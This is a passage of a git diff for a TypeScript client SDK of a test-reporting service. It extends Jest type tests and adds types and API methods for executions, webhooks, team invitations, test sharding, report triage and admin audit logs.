updated_at: '2024-01-02T00:00:00Z', + started_at: '2024-01-01T01:00:00Z', + finished_at: '2024-01-01T02:00:00Z', + }; + expect(full.config).toBeDefined(); + expect(full.report_id).toBe('r-1'); + expect(full.k8s_job_name).toBe('test-job-123'); + expect(full.k8s_pod_name).toBe('test-pod-456'); + expect(full.error_msg).toBe('something failed'); + expect(full.updated_at).toBe('2024-01-02T00:00:00Z'); + + const minimal: Execution = { + id: 'e-2', + team_id: 'team-1', + command: 'npm test', + status: 'pending', + created_at: '2024-01-01T00:00:00Z', + updated_at: '2024-01-01T00:00:00Z', + }; + expect(minimal.config).toBeUndefined(); + expect(minimal.report_id).toBeUndefined(); + expect(minimal.k8s_job_name).toBeUndefined(); + }); + + it('Report has required name field and required start/stop in summary', () => { + const report: Report = { + id: 'r-1', + team_id: 'team-1', + name: 'My Report', + tool_name: 'jest', + summary: { tests: 10, passed: 9, failed: 1, skipped: 0, pending: 0, other: 0, start: 1700000000, stop: 1700001000 }, + created_at: '2024-01-01T00:00:00Z', + }; + expect(report.name).toBe('My Report'); + expect(report.summary.start).toBe(1700000000); + expect(report.summary.stop).toBe(1700001000); + }); + + it('Report.tool_name is optional — server omits when empty via omitempty', () => { + const report: Report = { + id: 'r-1', + team_id: 'team-1', + name: 'My Report', + summary: { tests: 10, passed: 9, failed: 1, skipped: 0, pending: 0, other: 0, start: 1700000000, stop: 1700001000 }, + created_at: '2024-01-01T00:00:00Z', + }; + expect(report.tool_name).toBeUndefined(); + }); + + it('Team has no role field; TeamWithRole extends Team with role', () => { + const team: Team = { + id: 't-1', + name: 'My Team', + created_at: '2024-01-01T00:00:00Z', + }; + expect('role' in team).toBe(false); + + const teamWithRole: TeamWithRole = { + id: 't-2', + name: 'Other Team', + role: 'owner', + created_at: '2024-01-01T00:00:00Z', + }; + expect(teamWithRole.role).toBe('owner'); + }); + + it('uploadReport returns full UploadReportResponse type', async () => { + const response: UploadReportResponse = { + id: 'r-1', + message: 'report accepted', + tool: 'jest', + tests: 42, + results: 42, + }; + expect(response.id).toBe('r-1'); + expect(response.message).toBe('report accepted'); + expect(response.execution_id).toBeUndefined(); + expect(response.qualityGate).toBeUndefined(); + + const withGate: UploadReportResponse = { + id: 'r-2', + message: 'report accepted', + tool: 'jest', + tests: 10, + results: 10, + execution_id: 'e-1', + qualityGate: { + passed: true, + gates: [{ id: 'qg-1', name: 'prod-gate', passed: true, rules: [{ metric: 'pass_rate', threshold: 95, actual: 98, passed: true, message: 'pass rate ok' }] }], + }, + }; + expect(withGate.execution_id).toBe('e-1'); + expect(withGate.qualityGate?.passed).toBe(true); + }); + + it('createExecution returns CreateExecutionResponse with id, status, command', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', status: 'pending', command: 'npm test' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.createExecution('npm test'); + + expect(result.id).toBe('e-1'); + expect(result.status).toBe('pending'); + expect(result.command).toBe('npm test'); + }); + + it('ReportTriageResult clusters and metadata are optional — 202 pending state omits them', () => { + const pending: ReportTriageResult = { + triage_status: 'pending', + }; + expect(pending.triage_status).toBe('pending'); + expect(pending.clusters).toBeUndefined(); + expect(pending.metadata).toBeUndefined(); + + const completed: ReportTriageResult = { + triage_status: 'completed', + clusters: [{ id: 'c-1', root_cause: 'timeout', failures: [{ test_result_id: 'tr-1', classification: 'flaky' }] }], + metadata: { generated_at: '2024-01-01T00:00:00Z', model: 'gpt-4' }, + }; + expect(completed.clusters).toHaveLength(1); + expect(completed.metadata?.model).toBe('gpt-4'); + + const completedNoModel: ReportTriageResult = { + triage_status: 'completed', + clusters: [], + metadata: { generated_at: '2024-01-01T00:00:00Z' }, + }; + expect(completedNoModel.clusters).toEqual([]); + expect(completedNoModel.metadata?.generated_at).toBe('2024-01-01T00:00:00Z'); + expect(completedNoModel.metadata?.model).toBeUndefined(); + }); + + it('WebhookEventType restricts events to server-supported values', () => { + const event: WebhookEventType = 'report.submitted'; + expect(event).toBe('report.submitted'); + const allEvents: WebhookEventType[] = [ + 'report.submitted', + 'gate.failed', + 'execution.completed', + 'execution.failed', + 'run.triage_complete', + ]; + expect(allEvents).toHaveLength(5); + }); + + it('ExecutionStatus covers all server-validated values', () => { + const allStatuses: ExecutionStatus[] = ['pending', 'running', 'completed', 'failed', 'cancelled']; + expect(allStatuses).toHaveLength(5); + }); + + it('UpdateExecutionStatus excludes pending — only running/completed/failed/cancelled', () => { + const validStatuses: UpdateExecutionStatus[] = ['running', 'completed', 'failed', 'cancelled']; + expect(validStatuses).toHaveLength(4); + }); + + it('TestResultStatus covers all server-validated values', () => { + const allStatuses: TestResultStatus[] = ['passed', 'failed', 'skipped', 'pending', 'other']; + expect(allStatuses).toHaveLength(5); + }); + + it('WorkerStatus covers all server-validated values', () => { + const allStatuses: WorkerStatus[] = ['starting', 'running', 'idle', 'completed', 'failed']; + expect(allStatuses).toHaveLength(5); + }); + + it('Execution.status uses ExecutionStatus type', () => { + const exec: Execution = { + id: 'e-1', + team_id: 'team-1', + command: 'npm test', + status: 'running', + created_at: '2024-01-01T00:00:00Z', + updated_at: '2024-01-01T00:00:00Z', + }; + expect(exec.status).toBe('running'); + }); + + it('createWebhook and updateWebhook accept WebhookEventType[] not string[]', async () => { + const fetchMock = mockFetchOk({ webhook: { id: 'wh-1', url: '', events: [], team_id: '', enabled: true, created_at: '', updated_at: '' }, secret: 's' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const events: WebhookEventType[] = ['report.submitted', 'gate.failed']; + await client.createWebhook('team-1', 'https://example.com', events); + + const body = JSON.parse((fetchMock.mock.calls[0][1] as RequestInit).body as string); + expect(body.events).toEqual(['report.submitted', 'gate.failed']); + }); + + it('cancelExecution returns {id, status} not void', async () => { + const fetchMock = mockFetchOk({ id: 'e-1', status: 'cancelled' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.cancelExecution('e-1'); + expect(result).toEqual({ id: 'e-1', status: 'cancelled' }); + }); + + it('deleteExecution returns {id, status} not void', async () => { + const fetchMock = mockFetchOk({ id: 'e-2', status: 'cancelled' }); + globalThis.fetch = fetchMock; + const client = makeClient(); + const result = await client.deleteExecution('e-2'); + expect(result).toEqual({ id: 'e-2', status: 'cancelled' }); + }); + + it('Report.summary.start and .stop are optional — server omits via omitempty', () => { + const reportWithTimestamps: Report = { + id: 'r-1', + team_id: 'team-1', + name: 'Report r-1', + tool_name: 'jest', + summary: { tests: 10, passed: 9, failed: 1, skipped: 0, pending: 0, other: 0, start: 1700000000, stop: 1700001000 }, + created_at: '2024-01-01T00:00:00Z', + }; + expect(reportWithTimestamps.summary.start).toBe(1700000000); + expect(reportWithTimestamps.summary.stop).toBe(1700001000); + + const reportWithoutTimestamps: Report = { + id: 'r-2', + team_id: 'team-1', + name: 'Report r-2', + summary: { tests: 5, passed: 5, failed: 0, skipped: 0, pending: 0, other: 0 }, + created_at: '2024-01-01T00:00:00Z', + }; + expect(reportWithoutTimestamps.summary.start).toBeUndefined(); + expect(reportWithoutTimestamps.summary.stop).toBeUndefined(); + }); + + it('QualityGateRule.params is required (not optional) and accepts null', () => { + const ruleWithParams: QualityGateRule = { + type: 'pass_rate', + params: { threshold: 95 }, + }; + expect(ruleWithParams.params).toEqual({ threshold: 95 }); + + const ruleNoParams: QualityGateRule = { + type: 'zero_failures', + params: null, + }; + expect(ruleNoParams.params).toBeNull(); + }); + + it('QualityGateRuleResult threshold and actual are number type', () => { + const result: QualityGateRuleResult = { + metric: 'pass_rate', + threshold: 95, + actual: 98.5, + passed: true, + message: 'pass rate ok', + }; + expect(result.threshold).toBe(95); + expect(result.actual).toBe(98.5); + }); + + it('QualityGateEvalRuleResult threshold and actual are number type', () => { + const result: QualityGateEvalRuleResult = { + type: 'pass_rate', + threshold: 95, + actual: 88.5, + passed: false, + message: 'pass rate 88.5% < 95%', + }; + expect(result.threshold).toBe(95); + expect(result.actual).toBe(88.5); + }); + + it('Report.environment accepts Record values', () => { + const report: Report = { + id: 'r-1', + team_id: 'team-1', + name: 'Report', + tool_name: 'jest', + summary: { tests: 1, passed: 1, failed: 0, skipped: 0, pending: 0, other: 0, start: 0, stop: 1 }, + created_at: '2024-01-01T00:00:00Z', + environment: { CI: true, nested: { key: 'value' } }, + }; + expect((report.environment as Record)?.CI).toBe(true); + }); +}); \ No newline at end of file diff --git a/sdk/src/index.ts b/sdk/src/index.ts index b931182d..e4b48dde 100644 --- a/sdk/src/index.ts +++ b/sdk/src/index.ts @@ -36,6 +36,7 @@ export interface ClientOptions { export interface CtrfReport { results: { tool: { name: string; version?: string }; + environment?: Record; summary: { tests: number; passed: number; @@ -55,7 +56,8 @@ export interface CtrfReport { suite?: string; tags?: string[]; flaky?: boolean; - retries?: number; + retry?: number; + filePath?: string; }>; }; } @@ -63,7 +65,8 @@ export interface CtrfReport { export interface Report { id: string; team_id: string; - tool_name: string; + name: string; + tool_name?: string; tool_version?: string; summary: { tests: number; @@ -72,6 +75,8 @@ export interface Report { skipped: number; pending: number; other: number; + start?: number; + stop?: number; }; // Flattened summary fields (top-level) for convenience; available when summary is parseable test_count?: number; @@ -81,22 +86,36 @@ export interface Report { pending?: number; created_at: string; execution_id?: string; - environment?: Record; + environment?: Record; } +export type ExecutionStatus = 'pending' | 'running' | 'completed' | 'failed' | 'cancelled'; + +export type UpdateExecutionStatus = 'running' | 'completed' | 'failed' | 'cancelled'; + +export type TestResultStatus = 'passed' | 'failed' | 'skipped' | 'pending' | 'other'; + +export type WorkerStatus = 'starting' | 'running' | 'idle' | 'completed' | 'failed'; + export interface Execution { id: string; team_id: string; command: string; - status: string; + status: ExecutionStatus; + config?: Record; + report_id?: string; + k8s_job_name?: string; + k8s_pod_name?: string; + error_msg?: string; created_at: string; + updated_at: string; started_at?: string; - completed_at?: string; + finished_at?: string; } export interface QualityGateRule { type: string; - params?: Record; + params: Record | null; } export interface QualityGate { @@ -110,15 +129,39 @@ export interface QualityGate { updated_at: string; } +export interface QualityGateRuleResult { + metric: string; + threshold: number; + actual: number; + passed: boolean; + message: string; +} + +export interface QualityGateEvalRuleResult { + type: string; + passed: boolean; + threshold: number; + actual: number; + message: string; +} + export interface QualityGateEvaluation { id: string; gate_id: string; report_id: string; passed: boolean; - details: unknown; + details: QualityGateEvalRuleResult[]; created_at: string; } +export interface EvaluateQualityGateResponse { + id: string; + gate_id: string; + report_id: string; + passed: boolean; + rules: QualityGateRuleResult[]; +} + export interface UserProfile { id: string; email: string; @@ -132,13 +175,32 @@ export interface TrendPoint { total: number; passed: number; failed: number; + skipped: number; } export interface FlakyTest { name: string; suite?: string; - flake_rate: number; - occurrences: number; + file_path?: string; + flip_count: number; + total_runs: number; + flip_rate: number; + last_status: string; +} + +export interface ErrorCluster { + message: string; + count: number; + test_names: string[]; + first_seen: string; + last_seen: string; +} + +export interface DurationBucket { + range: string; + min_ms: number; + max_ms: number; + count: number; } export interface Team { @@ -147,6 +209,208 @@ export interface Team { created_at: string; } +export interface TeamWithRole extends Team { + role: string; +} + +export type WebhookEventType = 'report.submitted' | 'gate.failed' | 'execution.completed' | 'execution.failed' | 'run.triage_complete'; + +export interface Webhook { + id: string; + team_id: string; + url: string; + events: WebhookEventType[]; + enabled: boolean; + created_at: string; + updated_at: string; +} + +export interface WebhookDelivery { + id: string; + webhook_id: string; + url: string; + event_type: string; + attempt: number; + status_code: number; + duration_ms: number; + error?: string; + payload?: Record; + delivered_at: string; +} + +export interface Invitation { + id: string; + team_id: string; + email: string; + role: string; + invited_by: string; + expires_at: string; + accepted_at?: string; + created_at: string; +} + +export interface InvitationPreview { + email: string; + role: string; + team_name: string; + expires_at: string; +} + +export interface ShardPlan { + execution_id: string; + total_workers: number; + strategy: string; + shards: Shard[]; + est_total_ms: number; + est_wall_clock_ms: number; +} + +export interface Shard { + worker_id: string; + test_names: string[]; + est_duration_ms: number; + test_count: number; +} + +export interface TestDurationHistory { + id: string; + test_name: string; + suite: string; + team_id: string; + avg_duration_ms: number; + min_duration_ms: number; + max_duration_ms: number; + p95_duration_ms: number; + run_count: number; + last_status: string; + updated_at: string; + created_at: string; +} + +export interface AuditLog { + id: string; + actor_id: string; + actor_email: string; + team_id?: string; + team_name?: string; + action: string; + resource_type?: string; + resource_id?: string; + metadata?: Record; + created_at: string; +} + +export interface AdminUser { + id: string; + email: string; + display_name: string; + role: string; + created_at: string; + updated_at: string; +} + +export interface ReportTestDiff { + name: string; + suite?: string; + file_path?: string; + base_status?: string; + head_status?: string; + base_duration_ms?: number; + head_duration_ms?: number; + duration_delta_ms?: number; + duration_delta_pct?: number; + message?: string; +} + +export interface ReportDiffSummary { + base_tests: number; + head_tests: number; + new_failures: number; + fixed: number; + duration_regressions: number; +} + +export interface CompareReport { + id: string; + team_id: string; + tool_name?: string; + tool_version?: string; + summary: Record; + created_at: string; + execution_id?: string; + environment?: Record; +} + +export interface ReportCompareResult { + base: CompareReport; + head: CompareReport; + diff: { + new_failures: ReportTestDiff[]; + fixed: ReportTestDiff[]; + duration_regressions: ReportTestDiff[]; + summary: ReportDiffSummary; + }; +} + +export interface TriageFailureEntry { + test_result_id: string; + classification: string; +} + +export interface TriageCluster { + id: string; + root_cause: string; + failures: TriageFailureEntry[]; + label?: string; +} + +export interface ReportTriageResult { + triage_status: string; + clusters?: TriageCluster[]; + unclustered_failures?: TriageFailureEntry[]; + summary?: string; + error?: string; + metadata?: { + generated_at: string; + model?: string; + }; +} + +export interface TeamToken { + id: string; + team_id: string; + user_id: string; + name: string; + prefix: string; + last_used_at?: string; + created_at: string; +} + +export interface UploadReportResponse { + id: string; + message: string; + tool: string; + tests: number; + results: number; + execution_id?: string; + triage_github_status?: boolean; + qualityGate?: { + passed: boolean; + gates: Array<{ + id: string; + name: string; + passed: boolean; + rules: QualityGateRuleResult[]; + }>; + }; +} + +export interface CreateExecutionResponse { + id: string; + status: string; + command: string; +} + // ── Client ─────────────────────────────────────────────────────────────────── export class ScaledTestClient { @@ -176,8 +440,18 @@ export class ScaledTestClient { this.timeoutMs = options.timeoutMs ?? 30_000; } - private async request(method: string, path: string, body?: unknown): Promise { - const url = `${this.baseUrl}${path}`; + private async request(method: string, path: string, body?: unknown, params?: Record): Promise { + let url = `${this.baseUrl}${path}`; + if (params) { + const searchParams = new URLSearchParams(); + for (const [key, value] of Object.entries(params)) { + if (value !== undefined) { + searchParams.set(key, String(value)); + } + } + const qs = searchParams.toString(); + if (qs) url += `?${qs}`; + } const headers: Record = { Authorization: `Bearer ${this.token}`, 'Content-Type': 'application/json', @@ -217,12 +491,12 @@ export class ScaledTestClient { } // Reports - async uploadReport(report: CtrfReport): Promise<{ id: string }> { - return this.request('POST', '/api/v1/reports', report); + async uploadReport(report: CtrfReport, params?: { execution_id?: string; triage_github_status?: boolean }): Promise { + return this.request('POST', '/api/v1/reports', report, params as Record | undefined); } - async getReports(): Promise<{ reports: Report[]; total: number }> { - return this.request('GET', '/api/v1/reports'); + async getReports(params?: { limit?: number; offset?: number; since?: string; until?: string }): Promise<{ reports: Report[]; total: number }> { + return this.request('GET', '/api/v1/reports', undefined, params); } async getReport(id: string): Promise { @@ -233,38 +507,84 @@ export class ScaledTestClient { return this.request('DELETE', `/api/v1/reports/${encodeURIComponent(id)}`); } + async compareReports(baseId: string, headId: string): Promise { + return this.request( + 'GET', + '/api/v1/reports/compare', + undefined, + { base: baseId, head: headId }, + ); + } + + async getReportTriage(reportId: string): Promise { + return this.request('GET', `/api/v1/reports/${encodeURIComponent(reportId)}/triage`); + } + + async retryReportTriage(reportId: string): Promise<{ triage_status: string }> { + return this.request('POST', `/api/v1/reports/${encodeURIComponent(reportId)}/triage/retry`); + } + // Executions - async getExecutions(): Promise<{ executions: Execution[]; total: number }> { - return this.request('GET', '/api/v1/executions'); + async getExecutions(params?: { limit?: number; offset?: number }): Promise<{ executions: Execution[]; total: number }> { + return this.request('GET', '/api/v1/executions', undefined, params); + } + + async createExecution(command: string, options?: { image?: string; env_vars?: Record }): Promise { + const body: Record = { command }; + if (options?.image !== undefined) body.image = options.image; + if (options?.env_vars !== undefined) body.env_vars = options.env_vars; + return this.request('POST', '/api/v1/executions', body); } - async createExecution(command: string): Promise { - return this.request('POST', '/api/v1/executions', { command }); + async getExecution(id: string): Promise { + return this.request('GET', `/api/v1/executions/${encodeURIComponent(id)}`); } - async cancelExecution(id: string): Promise { - await this.request('DELETE', `/api/v1/executions/${encodeURIComponent(id)}`); + async cancelExecution(id: string): Promise<{ id: string; status: string }> { + return this.request('DELETE', `/api/v1/executions/${encodeURIComponent(id)}`); } - async deleteExecution(id: string): Promise { + async deleteExecution(id: string): Promise<{ id: string; status: string }> { return this.cancelExecution(id); } + async updateExecutionStatus(id: string, status: UpdateExecutionStatus, errorMsg?: string): Promise<{ id: string; status: string }> { + const body: Record = { status }; + if (errorMsg !== undefined) body.error_msg = errorMsg; + return this.request( + 'PUT', + `/api/v1/executions/${encodeURIComponent(id)}/status`, + body, + ); + } + + async reportExecutionProgress(id: string, progress: { passed: number; failed: number; skipped: number; total: number; duration_ms?: number; estimated_eta_seconds?: number }): Promise<{ execution_id: string; received: boolean }> { + return this.request('POST', `/api/v1/executions/${encodeURIComponent(id)}/progress`, progress); + } + + async reportTestResult(id: string, result: { name: string; status: TestResultStatus; duration_ms?: number; message?: string; suite?: string; worker_id?: string }): Promise<{ execution_id: string; received: boolean }> { + return this.request('POST', `/api/v1/executions/${encodeURIComponent(id)}/test-result`, result); + } + + async reportWorkerStatus(id: string, status: { worker_id: string; status: WorkerStatus; message?: string; tests_assigned?: number; tests_completed?: number }): Promise<{ execution_id: string; received: boolean }> { + return this.request('POST', `/api/v1/executions/${encodeURIComponent(id)}/worker-status`, status); + } + // Analytics - async getTrends(): Promise { - return this.request('GET', '/api/v1/analytics/trends'); + async getTrends(params?: { start?: string; end?: string; group_by?: string }): Promise<{ trends: TrendPoint[] }> { + return this.request('GET', '/api/v1/analytics/trends', undefined, params); } - async getFlakyTests(): Promise { - return this.request('GET', '/api/v1/analytics/flaky-tests'); + async getFlakyTests(params?: { window_days?: number; min_runs?: number; limit?: number }): Promise<{ flaky_tests: FlakyTest[] }> { + return this.request('GET', '/api/v1/analytics/flaky-tests', undefined, params); } - async getErrorAnalysis(): Promise { - return this.request('GET', '/api/v1/analytics/error-analysis'); + async getErrorAnalysis(params?: { start?: string; end?: string; limit?: number }): Promise<{ errors: ErrorCluster[] }> { + return this.request('GET', '/api/v1/analytics/error-analysis', undefined, params); } - async getDurationDistribution(): Promise { - return this.request('GET', '/api/v1/analytics/duration-distribution'); + async getDurationDistribution(params?: { start?: string; end?: string }): Promise<{ distribution: DurationBucket[] }> { + return this.request('GET', '/api/v1/analytics/duration-distribution', undefined, params); } // Quality Gates (nested under /teams/{teamID}) @@ -276,8 +596,11 @@ export class ScaledTestClient { teamId: string, name: string, rules: QualityGateRule[], + description?: string, ): Promise { - return this.request('POST', `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates`, { name, rules }); + const body: Record = { name, rules }; + if (description !== undefined) body.description = description; + return this.request('POST', `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates`, body); } async getQualityGate(teamId: string, id: string): Promise { @@ -295,15 +618,18 @@ export class ScaledTestClient { description?: string, enabled?: boolean, ): Promise { + const body: Record = { name, rules }; + if (description !== undefined) body.description = description; + if (enabled !== undefined) body.enabled = enabled; return this.request( 'PUT', `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates/${encodeURIComponent(id)}`, - { name, rules, description, enabled }, + body, ); } - async deleteQualityGate(teamId: string, id: string): Promise { - await this.request( + async deleteQualityGate(teamId: string, id: string): Promise<{message: string}> { + return this.request( 'DELETE', `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates/${encodeURIComponent(id)}` ); @@ -312,22 +638,26 @@ export class ScaledTestClient { async listEvaluations( teamId: string, gateId: string, + limit?: number, ): Promise<{ evaluations: QualityGateEvaluation[]; total: number }> { return this.request( 'GET', - `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates/${encodeURIComponent(gateId)}/evaluations` + `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates/${encodeURIComponent(gateId)}/evaluations`, + undefined, + limit !== undefined ? { limit } : undefined, ); } - async evaluateQualityGate(teamId: string, id: string): Promise { + async evaluateQualityGate(teamId: string, id: string, reportId: string): Promise { return this.request( 'POST', - `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates/${encodeURIComponent(id)}/evaluate` + `/api/v1/teams/${encodeURIComponent(teamId)}/quality-gates/${encodeURIComponent(id)}/evaluate`, + { report_id: reportId }, ); } // Teams - async getTeams(): Promise<{ teams: Team[] }> { + async getTeams(): Promise<{ teams: TeamWithRole[] }> { return this.request('GET', '/api/v1/teams'); } @@ -335,6 +665,121 @@ export class ScaledTestClient { return this.request('POST', '/api/v1/teams', { name }); } + async getTeam(id: string): Promise<{ team: Team; role: string }> { + return this.request('GET', `/api/v1/teams/${encodeURIComponent(id)}`); + } + + async deleteTeam(id: string): Promise<{ message: string }> { + return this.request('DELETE', `/api/v1/teams/${encodeURIComponent(id)}`); + } + + async listTokens(teamId: string): Promise<{ tokens: TeamToken[] }> { + return this.request('GET', `/api/v1/teams/${encodeURIComponent(teamId)}/tokens`); + } + + async createToken(teamId: string, name: string): Promise<{ token: string; id: string; name: string; prefix: string; created_at: string }> { + return this.request('POST', `/api/v1/teams/${encodeURIComponent(teamId)}/tokens`, { name }); + } + + async deleteToken(teamId: string, tokenId: string): Promise<{ message: string }> { + return this.request('DELETE', `/api/v1/teams/${encodeURIComponent(teamId)}/tokens/${encodeURIComponent(tokenId)}`); + } + + // Webhooks (nested under /teams/{teamID}/webhooks) + async listWebhooks(teamId: string): Promise<{ webhooks: Webhook[]; total: number }> { + return this.request('GET', `/api/v1/teams/${encodeURIComponent(teamId)}/webhooks`); + } + + async createWebhook(teamId: string, url: string, events: WebhookEventType[]): Promise<{ webhook: Webhook; secret: string }> { + return this.request('POST', `/api/v1/teams/${encodeURIComponent(teamId)}/webhooks`, { url, events }); + } + + async getWebhook(teamId: string, webhookId: string): Promise { + return this.request('GET', `/api/v1/teams/${encodeURIComponent(teamId)}/webhooks/${encodeURIComponent(webhookId)}`); + } + + async updateWebhook(teamId: string, webhookId: string, url: string, events: WebhookEventType[], enabled?: boolean): Promise { + const body: Record = { url, events }; + if (enabled !== undefined) body.enabled = enabled; + return this.request('PUT', `/api/v1/teams/${encodeURIComponent(teamId)}/webhooks/${encodeURIComponent(webhookId)}`, body); + } + + async deleteWebhook(teamId: string, webhookId: string): Promise<{ message: string }> { + return this.request('DELETE', `/api/v1/teams/${encodeURIComponent(teamId)}/webhooks/${encodeURIComponent(webhookId)}`); + } + + async listWebhookDeliveries(teamId: string, webhookId: string, params?: { before_id?: string; limit?: number }): Promise<{ deliveries: WebhookDelivery[]; total: number }> { + return this.request( + 'GET', + `/api/v1/teams/${encodeURIComponent(teamId)}/webhooks/${encodeURIComponent(webhookId)}/deliveries`, + undefined, + params, + ); + } + + async retryWebhookDelivery(teamId: string, webhookId: string, deliveryId: string): Promise<{ success: boolean; status_code: number; attempt: number; duration_ms: number; error: string }> { + return this.request( + 'POST', + `/api/v1/teams/${encodeURIComponent(teamId)}/webhooks/${encodeURIComponent(webhookId)}/deliveries/${encodeURIComponent(deliveryId)}/retry`, + ); + } + + // Invitations (team-scoped) + async listInvitations(teamId: string): Promise<{ invitations: Invitation[] }> { + return this.request('GET', `/api/v1/teams/${encodeURIComponent(teamId)}/invitations`); + } + + async createInvitation(teamId: string, email: string, role: string): Promise<{ invitation: Invitation; token: string }> { + return this.request('POST', `/api/v1/teams/${encodeURIComponent(teamId)}/invitations`, { email, role }); + } + + async revokeInvitation(teamId: string, invitationId: string): Promise<{ message: string }> { + return this.request('DELETE', `/api/v1/teams/${encodeURIComponent(teamId)}/invitations/${encodeURIComponent(invitationId)}`); + } + + // Invitations (public, token-scoped) + async previewInvitation(token: string): Promise { + return this.request('GET', `/api/v1/invitations/${encodeURIComponent(token)}`); + } + + async acceptInvitation(token: string, password: string, displayName: string): Promise<{ message: string; user_id: string; team_id: string; role: string }> { + return this.request('POST', `/api/v1/invitations/${encodeURIComponent(token)}/accept`, { + password, + display_name: displayName, + }); + } + + // Sharding + async getShardDurations(suite?: string): Promise<{ durations: TestDurationHistory[]; total: number }> { + return this.request( + 'GET', + '/api/v1/sharding/durations', + undefined, + suite !== undefined ? { suite } : undefined, + ); + } + + async getShardDuration(testName: string): Promise { + return this.request('GET', `/api/v1/sharding/durations/${encodeURIComponent(testName)}`); + } + + async createShardPlan(params: { test_names: string[]; num_workers: number; strategy?: string; execution_id?: string; dependencies?: Record }): Promise { + return this.request('POST', '/api/v1/sharding/plan', params); + } + + async rebalanceShards(params: { execution_id: string; failed_worker_id: string; current_plan: ShardPlan; completed_tests?: string[] }): Promise { + return this.request('POST', '/api/v1/sharding/rebalance', params); + } + + // Admin + async listUsers(params?: { limit?: number; offset?: number }): Promise<{ users: AdminUser[]; total: number }> { + return this.request('GET', '/api/v1/admin/users', undefined, params); + } + + async listAuditLog(params?: { action?: string; resource_type?: string; actor_id?: string; since?: string; until?: string; limit?: number; offset?: number }): Promise<{ audit_log: AuditLog[]; total: number }> { + return this.request('GET', '/api/v1/admin/audit-log', undefined, params); + } + // User profile async getMe(): Promise { return this.request('GET', '/api/v1/auth/me'); @@ -344,8 +789,8 @@ export class ScaledTestClient { return this.request('PATCH', '/api/v1/auth/me', { display_name: displayName }); } - async changePassword(currentPassword: string, newPassword: string): Promise { - await this.request('POST', '/api/v1/auth/change-password', { + async changePassword(currentPassword: string, newPassword: string): Promise<{message: string}> { + return this.request('POST', '/api/v1/auth/change-password', { current_password: currentPassword, new_password: newPassword, });